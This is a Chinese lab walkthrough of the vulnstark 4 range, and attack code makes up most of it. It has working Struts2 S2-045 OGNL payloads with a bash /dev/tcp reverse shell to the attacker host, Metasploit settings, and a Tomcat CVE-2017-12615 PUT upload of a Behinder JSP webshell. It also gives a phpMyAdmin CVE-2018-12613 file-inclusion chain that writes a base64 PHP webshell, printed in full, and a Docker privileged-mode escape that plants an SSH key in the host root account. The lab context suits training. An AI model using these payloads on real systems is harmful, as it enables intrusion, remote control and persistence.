红日靶场vulnstark 4靶机的测试报告[细节](一)

目录

一、测试环境

1、系统环境

2、注意事项

3、使用工具/软件

二、测试目的

三、操作过程

1、信息搜集

2、漏洞利用Getshell

①Struts 2 s2-045漏洞

手工利用s2-45漏洞

Msf综合利用

 ②Tomcat框架(CVE-2017-12615)

 ③phpMyAdmin(CVE-2018-12613)

 构造语句写入冰蝎木马

3、Docker服务器逃逸

 ①struts2应用

 ②tomcat应用(docker特权模式逃逸)

 ③phpMyAdmin应用

四、结论


一、测试环境

1、系统环境

渗透机:kali2021.1(192.168.200.131)

靶  机:域控主机DC[192.168.183.130(仅主机的183网段,配置好的固定IP)];Web[(仅主机的183网段,192.168.183.128,配置好的固定IP);192.168.200.145(NAT网卡)];win7(仅主机的183网段,192.168.183.131,配置好的固定IP)。

密码信息(默认密码):

  • Web服务器:ubuntu/ubuntu
  • 域成员主机:douser/Dotest123
  • 域控主机默认密码:administrator/Test2008
  • 域控主机修改后的密码:Admin123456

2、注意事项

  1. 设置一个仅主机网卡,网段为183;每台主机的仅主机网卡使用这个即可。设置完成三台主机即可互相ping通。
  2. 域内主机win7无法以管理员权限运行文件, 提示“目前没有可用的登录服务器处理登录请求”,不过仅主机网卡即可通信,无伤大雅。
  3. Web主机ubuntu需要手动开启环境s2-045、CVE-2017-12615、CVE-2018-12613,命令如下:
cd /home/ubuntu/Desktop/vulhub/struts2/s2-045
sudo docker-compose up -d
cd /home/ubuntu/Desktop/vulhub/tomcat/CVE-2017-12615/
sudo docker-compose up -d
cd /home/ubuntu/Desktop/vulhub/phpmyadmin/CVE-2018-12613/
sudo docker-compose up -d

开启后即完成了环境搭建

3、使用工具/软件

        Kali: cs服务器(teamserver)、arp-scan(主机探测)、nmap(端口和服务扫描)、gobuster (目录遍历)、msfconsole(漏洞利用)、nc(监听工具)、ssh-keygen(生成ssh秘钥)

        struts 2漏洞检测工具、cdk(docker漏洞检测)、冰蝎Behinder_v4.0.6(webshell管理)、mobaxterm(shell管理)

        测试网址:
http://192.168.200.145:2001;http://192.168.200.145:2002;http://192.168.200.145:2003

后面两篇文章地址:

红日靶场vulnstark 4靶机的测试报告[细节](二)-CSDN博客文章浏览阅读382次,点赞11次,收藏3次。基于渗透测试流程渗透vulnstark 4靶场;红日靶场;内网渗透;mimikatz;msfconsole;ms 14-68;ms17-010;永恒之蓝;域内信息搜集;Windows渗透;域渗透;Kerberoshttps://blog.csdn.net/2301_79698171/article/details/144306473?spm=1001.2014.3001.5501

红日靶场vulnstark 4靶机的测试报告[细节](三)-CSDN博客文章浏览阅读650次,点赞21次,收藏10次。基于渗透测试流程测试vulnstark 4靶场;内网渗透;域渗透;黄金票据;权限维持;Kerberos;红日靶场;痕迹清理;清理日志;krbtgt。https://blog.csdn.net/2301_79698171/article/details/144308001?spm=1001.2014.3001.5501 

二、测试目的

通过web打点进入shell后台,docker逃逸到物理机。

三、操作过程

1、信息搜集

开启kali,CS启动!

主机探测

arp-scan -l

探测到靶机IP:192.168.200.145

端口和服务探测

nmap -sN -A -p- -T4 192.168.200.145

开启了22端口(ssh服务)、2001端口(jetty搭建的服务,struts2中间件)、2002端口(tomcat中间件)、2003端口(apache中间件,phpmyadmin服务)

进行目录扫描

2001端口目录扫描失败

gobuster dir -u http://192.168.200.145:2001 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,jsp,html,txt

扫描2002端口

gobuster dir -u http://192.168.200.145:2002 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,jsp,html,txt

没扫描到什么有用的信息,都是tomcat的文件

Tomcat版本:8.5.19

扫描2003端口

gobuster dir -u http://192.168.200.145:2003 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,jsp,html,txt

扫到很多目录和文件

主页phpmyadmin,无需登录即可管理数据库

Mysql版本:5.5.62

2、漏洞利用Getshell

①Struts 2 s2-045漏洞

使用struts 2漏洞检测工具查一下漏洞,存在s2-045漏洞

这个漏洞利用方式有很多:手工注入、msf集成利用或者是集成工具直接利用。

检测工具地址:

https://github.com/s0k/Deserialize/blob/main/struts2/Struts2%E6%BC%8F%E6%B4%9E%E6%A3%80%E6%9F%A5%E5%B7%A5%E5%85%B72019%E7%89%88%20V2.3.exe

执行命令成功

手工利用s2-45漏洞

尝试手工利用s2-45漏洞一下

漏洞url:http://192.168.200.145:2001/doUpload.action

RCEpoc:

Content-Type: "%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"

尝试抓包(提交按钮的包)修改Content-Type参数,发包执行命令

执行反弹shell

反弹shell命令:

bash$IFS$9-i>&/dev/tcp/192.168.200.131/6666<&1

$IFS:是 Bash 的一个环境变量,表示内部字段分隔符。默认情况下,IFS 用于分隔字符串。

$9:是 Bash 中的一个位置参数,指代第 9 个命令行参数。该位置参数为空,因此它不会对命令产生直接影响。

完整poc:

Content-Type: "%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='bash$IFS$9-i>&/dev/tcp/192.168.200.131/6666<&1').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"

在kali开启监听

发送poc,即可接收反弹shell

获取反弹shell

Msf综合利用

Msf命令如下:

use exploit/multi/http/struts2_content_type_ognl
set TARGETURI /doUpload
set RHOSTS 192.168.200.145
set RPORT 2001
set LPORT 6666
set FETCH_WRITABLE_DIR /tmp
set FETCH_SRVPORT 8081
run

执行命令完成后直接获取了meterpreter权限

 ②Tomcat框架(CVE-2017-12615)

这个环境存在tomcat一个经典的任意文件上传的漏洞(就白盒测试来说,这是直接拉的docker环境CVE-2017-12615漏洞复现)

下面就这个漏洞进行利用

打开burp,随机抓取一个tomcat站点的数据包

修改:PUT上传方法、请求行url、新增Content-Type:application/x-www-form-urlencoded头、请求主体是木马文件内容

完整数据包:

PUT /tomcat.jsp/ HTTP/1.1

Host: 192.168.200.145:2002

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate, br

Content-Type:application/x-www-form-urlencoded

Connection: keep-alive

Referer: http://192.168.200.145:2002/

Cookie: JSESSIONID=1ld91a1s2g4bn11znldfexvfm; phpMyAdmin=2efb6ffa53fc258b51330d35976b057b; pma_lang=zh_CN

Upgrade-Insecure-Requests: 1

Priority: u=0, i

Content-Length: 572

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*�ƥ:ޥ�32Mmd5<�M16M
ؤޥ�rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>

发包,返回值201表示成功

可以访问jsp木马文件,空白页

冰蝎也成功连接

 ③phpMyAdmin(CVE-2018-12613)

这里利用的是一个任意文件包含漏洞getshell

漏洞url:

http://192.168.200.145:2003/index.php?target=db_datadict.php%253f/../../../../../../../../../etc/passwd

可以看到成功地包含了文件

在执行sql语句的页面

select "<?php echo 'pwd';?>"

执行的sql语句会先储存在临时session文件中,session文件以session值来命名

结果如下:

抓包查看session值,phpMyAdmin的参数值就是:2efb6ffa53fc258b51330d35976b057b

临时session文件名只需要加上sess_的前缀,保存在tmp目录下

sess_2efb6ffa53fc258b51330d35976b057b

利用原理:执行插入php木马的查询语句,在任意文件包含漏洞页面包含临时session文件执行php代码。

以刚刚执行的例子中执行的php代码为例,包含临时session文件发现语句被执行,输出了pwd的字段。

http://192.168.200.145:2003/index.php?target=db_sql.php%253f/../../../../../../../../../tmp/sess_2efb6ffa53fc258b51330d35976b057b

php中,反引号(`)中的内容会被当做shell命令执行。

比如,执行这样一句查询语句:select "<?php echo `pwd`; ?>"

可以看到包含页面内执行php语句没有像之前一样输出pwd,而是执行pwd命令,回显当前目录:/var/www/html

当然,这个目录就是web目录,是当前页的目录

 构造语句写入冰蝎木马

select '<?php echo `echo "<?php eval(base64_decode(冰蝎的php webshell base64加密)); ?>" > /var/www/html/mysql.php`; ?>';

这个编码用php的base64_encode生成的编码,不然base64代码可能用不了

完整poc:

select '<?php echo `echo "<?php eval(base64_decode(QGVycm9yX3JlcG9ydGluZygwKTsKc2Vzc2lvbl9zdGFydCgpOwogICAgJGtleT0iZTQ1ZTMyOWZlYjVkOTI1YiI7CgkkX1NFU1NJT05bJ2snXT0ka2V5OwoJc2Vzc2lvbl93cml0ZV9jbG9zZSgpOwoJJHBvc3Q9ZmlsZV9nZXRfY29udGVudHMoInBocDovL2lucHV0Iik7CglpZighZXh0ZW5zaW9uX2xvYWRlZCgnb3BlbnNzbCcpKQoJewoJCSR0PSJiYXNlNjRfIi4iZGVjb2RlIjsKCQkkcG9zdD0kdCgkcG9zdC4iIik7CgkJCgkJZm9yKCRpPTA7JGk8c3RybGVuKCRwb3N0KTskaSsrKSB7CiAgICAJCQkgJHBvc3RbJGldID0gJHBvc3RbJGldXiRrZXlbJGkrMSYxNV07IAogICAgCQkJfQoJfQoJZWxzZQoJewoJCSRwb3N0PW9wZW5zc2xfZGVjcnlwdCgkcG9zdCwgIkFFUzEyOCIsICRrZXkpOwoJfQogICAgJGFycj1leHBsb2RlKCd8JywkcG9zdCk7CiAgICAkZnVuYz0kYXJyWzBdOwogICAgJHBhcmFtcz0kYXJyWzFdOwoJY2xhc3MgQ3twdWJsaWMgZnVuY3Rpb24gX19pbnZva2UoJHApIHtldmFsKCRwLiIiKTt9fQogICAgQGNhbGxfdXNlcl9mdW5jKG5ldyBDKCksJHBhcmFtcyk7Cg));?>" > /var/www/html/mysql.php`;?>';

执行完毕,刷新一下包含页面执行

访问http://192.168.200.145:2003/mysql.php

可以看到webshell成功创建,这种页面就是正确的,可以连冰蝎

成功连接冰蝎!!

太不容易了,编码被卡住了好久。

php的webshell:注释内容要删掉、最后一行需要换行符。

这样的编码才连的上冰蝎!

这里把冰蝎的php马源码也放一下,修改过后的:

@error_reporting(0);

session_start();

    $key="e45e329feb5d925b";

       $_SESSION['k']=$key;

       session_write_close();

       $post=file_get_contents("php://input");

       if(!extension_loaded('openssl'))

       {

              $t="base64_"."decode";

              $post=$t($post."");

             

              for($i=0;$i<strlen($post);$i++) {

                         $post[$i] = $post[$i]^$key[$i+1&15];

                        }

       }

       else

       {

              $post=openssl_decrypt($post, "AES128", $key);

       }

    $arr=explode('|',$post);

    $func=$arr[0];

    $params=$arr[1];

       class C{public function __invoke($p) {eval($p."");}}

    @call_user_func(new C(),$params);

3、Docker服务器逃逸

由于Docker 容器是与物理机隔离的,所以我们需要进行Docker逃逸。Docker逃逸是指利用Docker 容器可能存在的不安全配置,将获得的Docker容器权限转变为物理机权限。

Docker 容器有许多逃逸手段,举例如下:

  • 内核漏洞:由于Docker容器与物理机共享一个内核,当该内核存在内核漏洞时,在Docker 容器内利用内核漏洞可能直接获得物理机权限。
  •  Docker API 未授权访问漏洞:当物理机的Docker API开启并同意未授权访问时,在Docker 容器内可以使用Docker API新建一个Docker 容器,并将物理机的根目录挂载到新Docker 容器的某目录下。
  •  Docker 容器以特权模式启动:当Docker容器是以特权模式启动时,可以使用mount命令将物理机的根目录挂载到当前Docker 容器的某目录下。

在Docker 容器内可以通过使用cdk进行不安全配置扫描。cdk是一个开源的Docker容器渗透工具包,下载地址为https://github.com/cdk-team/CDK/releases/tag/v1.0.6。cdk可以检测当前Docker 容器内是否存在不安全的配置和漏洞,并可以通过不安全的配置和漏洞进行Docker 逃逸。

 ①struts2应用

获取的反弹shell,可以很清楚地看到是root权限,@后面明显是docker的id号

显然这是一个docker容器

查找一下.dockerenv文件

find / -name .dockerenv

.dockerenv文件是docker容器特有的文件,可以确定当前服务器是一个docker容器。

如图,查找到了.dockerenv文件的路径:

靶机下载cdk并赋予执行权限运行

wget 192.168.200.131:8888/cdk
chmod +x cdk
./cdk evaluate --full

 没什么有用信息

 ②tomcat应用(docker特权模式逃逸)

查看系统信息,是Linux系统、root权限

find / -name .dockerenv

也找到了.dockerenv文件

上传cdk文件

赋予执行权限并执行

/tmp/ >chmod +x cdk_linux_amd64
/tmp/ >./cdk_linux_amd64 evaluate –full

可以看到扫出了,开启了特权权限

cdk工具可以直接利用漏洞

挂载根目录利用命令:

./cdk_linux_amd64 run mount-disk

该命令首先会在Docker容器中的/tmp目录下生成一个cdk_xxxxx文件(xxxxx为随机字母组成),再将物理机的根目录挂载到/tmp/cdk_xxxxx目录下

可以在挂载目录查看物理机的根目录

cd /tmp/cdk_p95Pg
ls

成功挂载了物理机的根目录,可以通过写计划任务或写SSH秘钥的方式获取物理机权限。信息搜集时获取了靶机开启了SSH服务,将ssh秘钥写入挂载的根目录即可登录。命令如下:

kali生成一份公钥私钥

ssh-keygen -t rsa

私钥文件:/root/.ssh/id_rsa

公钥文件:/root/.ssh/id_rsa.pub

查看公钥文件

cat /root/.ssh/id_rsa.pub

将这份公钥复制到docker挂载的物理机公钥存放处,使用私钥即可登录

mkdir .ssh
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDuJWjhVWp/dik4+3SMRZ/Cx26SISK1JeEmpZjDALNiv/PndTtJ2OofwrxNEdjoq7ZSeVsgY05MfEFwOwa7OsewkV0X+yRFdAGbMb3EcLVjsVXEIpiOf0U6yQld2JJofRTn9ZjgDbW1wU/f0OWSU+sk1JHoJlUcDuDUiHoQj5RBzzyZaWKX7zfx2Xey1t9/89VND2FUYz8cyJO+fZzPSdm1aRIERaVla9hlcq9aPMn/DeLJdNHEz0pbhmBHRQBz32/8XH8vJLGUhuyw3OytDyShQONsxs1rsCIg5gRg/IjsTzsNRs1HMmt+WBmOFMtSTknIyaCUGd72/HSQZdI7DSVgq4hA7q1QJKF19l4ievXh9eHHqb6RMJkkY7YIwIZnfSIC7JKZy9M+bshUEzbD9FcBrQJ/SQTy5u6BpGoRV47CeIxDTn3DcjCa7uWtL2RnTVyTvXPvJqrhzerSFZqTPoJEPNTj11JrOIkt23vR2a4AAYLH+ERZRmE14RSn3PJKKf0= root@hacker" > /tmp/cdk_p95Pg/root/.ssh/authorized_keys

ssh的目录和公钥都需要特定的权限才能运行

ssh目录(权限700)

~/.ssh/authorized_keys文件(权限600)

chmod 700 .ssh
chmod 600 authorized_keys

使用mobaxterm工具的ssh登录

使用私钥id_rsa

成功登录root用户

 ③phpMyAdmin应用

查看基本信息:Linux系统,并且用户名是docker的命名特征,内核也是ubuntu14.04;php版本:7.2.5

猜测这也是docker容器

同样找到了dockerenv文件

find / -name .dockerenv

要进行docker容器逃逸,需要把获得的权限提升为管理员,尝试提权

尝试脏牛漏洞提权失败

四、结论

由于靶场报告内容太多,一篇文章会很冗杂,决定分为三篇发送。
这里已经获取了web靶机的物理机root权限,通过docker逃逸实现的。
下一篇文章会进行内网渗透,获取域内主机和域控服务器的权限。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/933244.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

D92【python 接口自动化学习】- pytest基础用法

day92 pytest的skip和skipif用法 学习日期&#xff1a;20241208 学习目标&#xff1a;pytest基础用法 -- pytest的skip和skipif用法 学习笔记&#xff1a; 测试用例跳过 skip和skipif用法&#xff0c;测试用例跳过 pytest.mark.skip 跳过标记的用例 pytest.mark.skipif(1 …

【Java】类似王者荣耀游戏

r77683962/WangZheYouDianRongYao 运行效果图&#xff1a; 类似王者荣耀游戏运行效果图_哔哩哔哩_bilibili

【数字电路与逻辑设计】实验二 数值比较器

文章总览&#xff1a;YuanDaiMa2048博客文章总览 【数字电路与逻辑设计】实验二 数值比较器 一、实验内容二、设计过程&#xff08;一&#xff09;真值表&#xff08;二&#xff09;设计思路 三、源代码&#xff08;一&#xff09;代码说明&#xff1a;&#xff08;二&#xff…

探索十个 AI 对话提示词网站,提升交互体验

learning prompt 网址&#xff1a;Hello from Learning Prompt | Learning Prompt 简介&#xff1a;这是一个学习 提示词 的网站&#xff0c;有 ChatGPT&#xff0c;Midjourney 的提示词教程、技巧等&#xff0c;他在右上角有中文语言的选择&#xff0c;教程非常详尽 LangCha…

C# Decimal

文章目录 前言1. Decimal 的基本特性2. 基本用法示例3. 特殊值与转换4. 数学运算示例5. 精度处理示例6. 比较操作示例7. 货币计算示例8. Decimal 的保留小数位数9. 处理 Decimal 的溢出和下溢10. 避免浮点数计算误差总结 前言 decimal 是 C# 中一种用于表示高精度十进制数的关键…

数据库-mysql(基本语句)

演示工具&#xff1a;navicat 连接&#xff1a;mydb 一.操作数据库 1.创建数据库 ①create database 数据库名称 //普通创建 ②create database if not exists 数据库名称 //创建数据库&#xff0c;判断不存在&#xff0c;再创建&#xff1a; 使用指定数据库 use 数据库…

使用Tesseract进行图片文字识别

Tesseract介绍 Tesseract 是一个开源的光学字符识别&#xff08;OCR&#xff09;引擎&#xff0c;最初由 HP 在 1985 年至 1995 年间开发&#xff0c;后来被 Google 收购并开源。Tesseract 支持多种语言的文本识别&#xff0c;能够识别图片中的文字&#xff0c;并将其转换为可…

智慧营区解决方案

1. 数据处理与服务封装 该智慧化解决方案注重数据的全面采集与处理&#xff0c;包括网页数据、图片、视频等非结构化数据&#xff0c;以及系统数据、文本、关系型数据库等结构化数据。通过数据抽取、稽核、规整、解析、清洗等流程&#xff0c;实现数据的入库与存储&#xff0c…

信号level 1:信号的产生

目录 引言 基础知识&#xff08;背景&#xff09; 信号的产生 方法一&#xff1a;通过终端按键产生信号&#xff08;键盘按键输入&#xff09; 方式二&#xff1a;通过kill指令 方法3&#xff1a;系统调用 方法四&#xff1a;硬件异常 方法五&#xff1a;软件产生异常 进…

国城杯-misc-Tr4ffIc_w1th_Ste90 [WP]

打开流量包&#xff0c;发现主要是UDP流量&#xff0c;然后还有H264的视频数据 右击&#xff0c;UDP追踪流 然后更换为原始数据 另存为.ts的文件&#xff0c;打开就看到密码 !t15tH3^pAs5W#RD*f0RFL9 打开压缩包是一个文件和一个图片 import numpy as np import cv2 import …

【SpringMVC】参数传递 重定向与转发 REST风格

文章目录 参数传递重定向与转发REST风格 参数传递 ModelAndView&#xff1a;包含视图信息和模型数据信息 public ModelAndView index1(){// 返回页面ModelAndView modelAndView new ModelAndView("视图名");// 或// ModelAndView modelAndView new ModelAndView(…

Minio使用教程

Minio介绍 Minlo是一个基于Apache License v2.0开源协议的对象存储服务。它兼容亚马逊S3云存储服务接口&#xff0c;非常适合于存储大容量非结构化的数据&#xff0c;例如图片、视频、日志文件、备份数据和容器/虚拟机镜像等&#xff0c;而一个对象文件可以是任意大小&#xf…

新手前端开发入职公司全流程

作为一名前端开发新手&#xff0c;进入一家公司开启职业生涯是既兴奋又充满挑战的旅程。今天就来和大家分享一下这个过程中的各个环节。 一、入职准备 在收到心仪公司的offer后&#xff0c;可别只顾着高兴啦。首先要准备好入职资料&#xff0c;像身份证、学历证明这些是必不可…

那智机器人报警白屏

那智机器人内存太多白屏报警&#xff01;&#xff01;&#xff01;下面来说说如何消除该报警吧&#xff01;&#xff01;&#xff01; 白屏报警的处理办法 解决办法&#xff1a;&#xff08;外部内存清理&#xff09; 升级操作者权限 &#xff08;当我们在维修见面不能看见我…

rk3568之mpp开发笔记mpp移植到开发板

前言&#xff1a; 大家好&#xff0c;今天给大家介绍的内容是rk平台的mpp编解码这块的内容&#xff0c;在rk目前看到有三套框架涉及到编解码内容&#xff1a; 1、rkmedia 2、rockit 3、mpp 这三种不同形式的编解码方式&#xff0c;后面再做详细的框架对比&#xff0c;今天我…

【设计模式】结构型设计模式总结之代理模式、装饰模式、外观模式、享元模式

文章目录 代理模式示例结构分类动态代理 装饰模式示例结构使用场景与代理模式区别Context 外观模式结构示例使用场景Context 享元模式结构示例使用场景Message 代理模式 代理模式&#xff08;Proxy Pattern&#xff09; 是一种结构型设计模式&#xff0c;它提供了一个代理对象…

CSS一些小点 —— 12.7

1. box-sizing: border-box box-sizing 属性&#xff0c;默认值为 content-box box-sizing: border-box 使padding和border的值不会再影响元素的宽高&#xff1b;padding和border的值算在指定宽高的内部&#xff08;但是外边距依然算做外部&#xff09; 2. overflow: hidden …

【毕业设计选题】深度学习类毕业设计选题参考 开题指导

目录 前言 毕设选题 开题指导建议 更多精选选题 选题帮助 最后 前言 大家好,这里是海浪学长毕设专题! 大四是整个大学期间最忙碌的时光&#xff0c;一边要忙着准备考研、考公、考教资或者实习为毕业后面临的升学就业做准备,一边要为毕业设计耗费大量精力。学长给大家整…

算法基础学习Day4(双指针)

文章目录 1.题目2.题目解答1.查找总价格为目标值的两个商品1.1题目及题目解析1.2算法学习暴力解法优化算法 1.3代码提交 2.三数之和2.1题目及题目解析2.2算法学习2.3代码提交 1.题目 LCR 179. 查找总价格为目标值的两个商品 - 力扣&#xff08;LeetCode&#xff09;15. 三数之…

哪里可以找到高质量的街道夜景短视频素材?夜景素材网站推荐

在短视频创作的浪潮中&#xff0c;街道夜景作为一种视觉效果独特、氛围浓郁的题材&#xff0c;深受创作者的青睐。不论是商业广告、创意短片还是个人Vlog&#xff0c;街道夜景的视频素材都能为你的作品增添不小的分量。那么&#xff0c;在哪里可以找到这些高质量的街道夜景短视…